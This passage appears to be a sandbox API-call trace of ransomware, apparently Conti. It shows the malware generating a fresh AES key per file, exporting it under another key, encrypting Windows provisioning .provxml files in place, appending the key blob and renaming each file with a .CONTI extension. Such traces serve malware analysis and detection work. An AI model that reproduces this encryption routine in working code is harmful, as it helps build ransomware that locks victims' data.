	[0108.507] CryptExportKey (in: hKey=0x17c7d70, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x3e3fe8c | out: pbData=0x17c4a2c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0108.508] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0108.516] GetLastError () returned 0x0
	[0108.516] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=482) returned 1
	[0108.516] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e2
	[0108.516] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.516] SetEndOfFile (hFile=0x37c) returned 1
	[0108.519] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.519] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.519] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.522] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.522] ReadFile (in: hFile=0x37c, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x1e2, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x1e2, lpOverlapped=0x0) returned 1
	[0108.522] CryptEncrypt (in: hKey=0x17c7d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1e2, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1f0) returned 1
	[0108.522] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.522] WriteFile (in: hFile=0x37c, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x1f0, lpOverlapped=0x0) returned 1
	[0108.522] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.522] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0108.523] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.523] CloseHandle (hObject=0x37c) returned 1
	[0108.558] GetProcessHeap () returned 0x1720000
	[0108.558] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.559] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.559] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.559] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\19__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.560] GetProcessHeap () returned 0x1720000
	[0108.560] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.560] CryptDestroyKey (hKey=0x17c7d70) returned 1
	[0108.560] GetProcessHeap () returned 0x1720000
	[0108.560] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0108.560] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0108.560] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6515be8 | out: phKey=0x6515be8*=0x17c7d70) returned 1
	[0108.560] CryptExportKey (in: hKey=0x17c7d70, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515bec, pdwDataLen=0x3e3fe8c | out: pbData=0x6515bec*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0108.561] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.561] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.561] GetLastError () returned 0x0
	[0108.561] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=480) returned 1
	[0108.561] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0108.561] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.561] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.566] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.566] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.566] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6515bec*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.571] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.571] ReadFile (in: hFile=0x3c4, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x1e0, lpOverlapped=0x0) returned 1
	[0108.571] CryptEncrypt (in: hKey=0x17c7d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x1f0) returned 1
	[0108.571] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.571] WriteFile (in: hFile=0x3c4, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x1f0, lpOverlapped=0x0) returned 1
	[0108.572] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.572] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6515be0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0108.572] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.572] CloseHandle (hObject=0x3c4) returned 1
	[0108.572] GetProcessHeap () returned 0x1720000
	[0108.572] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.572] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.572] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.572] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.573] GetProcessHeap () returned 0x1720000
	[0108.573] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.573] CryptDestroyKey (hKey=0x17c7d70) returned 1
	[0108.573] GetProcessHeap () returned 0x1720000
	[0108.573] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c37c0 | out: hHeap=0x1720000) returned 1
	[0108.573] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0108.970] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6515be8 | out: phKey=0x6515be8*=0x17c77f0) returned 1
	[0108.970] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515bec, pdwDataLen=0x3e3fe8c | out: pbData=0x6515bec*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0108.971] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.172] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0110.173] GetLastError () returned 0x0
	[0110.173] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=647) returned 1
	[0110.173] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x287
	[0110.173] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.173] SetEndOfFile (hFile=0x40c) returned 1
	[0110.446] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.446] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.446] WriteFile (in: hFile=0x40c, lpBuffer=0x6515bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6515bec*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0110.459] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.459] ReadFile (in: hFile=0x40c, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x287, lpOverlapped=0x0) returned 1
	[0110.459] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x287, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x290) returned 1
	[0110.459] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.459] WriteFile (in: hFile=0x40c, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x290, lpOverlapped=0x0) returned 1
	[0110.459] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.459] WriteFile (in: hFile=0x40c, lpBuffer=0x6515be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6515be0*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0110.459] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.459] CloseHandle (hObject=0x40c) returned 1
	[0110.459] GetProcessHeap () returned 0x1720000
	[0110.459] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.948] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml"
	[0110.948] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.948] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.948] GetProcessHeap () returned 0x1720000
	[0110.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.949] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0110.949] GetProcessHeap () returned 0x1720000
	[0110.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65898b0 | out: hHeap=0x1720000) returned 1
	[0110.949] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0110.949] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x656f178 | out: phKey=0x656f178*=0x17c77f0) returned 1
	[0110.949] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656f17c, pdwDataLen=0x3e3fe8c | out: pbData=0x656f17c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0110.950] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.950] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0110.950] GetLastError () returned 0x0
	[0110.950] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=651) returned 1
	[0110.950] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28b
	[0110.950] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.950] SetEndOfFile (hFile=0x404) returned 1
	[0110.950] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.950] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.951] WriteFile (in: hFile=0x404, lpBuffer=0x656f17c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x656f17c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0111.302] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.302] ReadFile (in: hFile=0x404, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x28b, lpOverlapped=0x0) returned 1
	[0111.302] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x28b, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x290) returned 1
	[0111.302] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.302] WriteFile (in: hFile=0x404, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x290, lpOverlapped=0x0) returned 1
	[0111.302] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.302] WriteFile (in: hFile=0x404, lpBuffer=0x656f170*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x656f170*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0111.302] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.302] CloseHandle (hObject=0x404) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.470] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml"
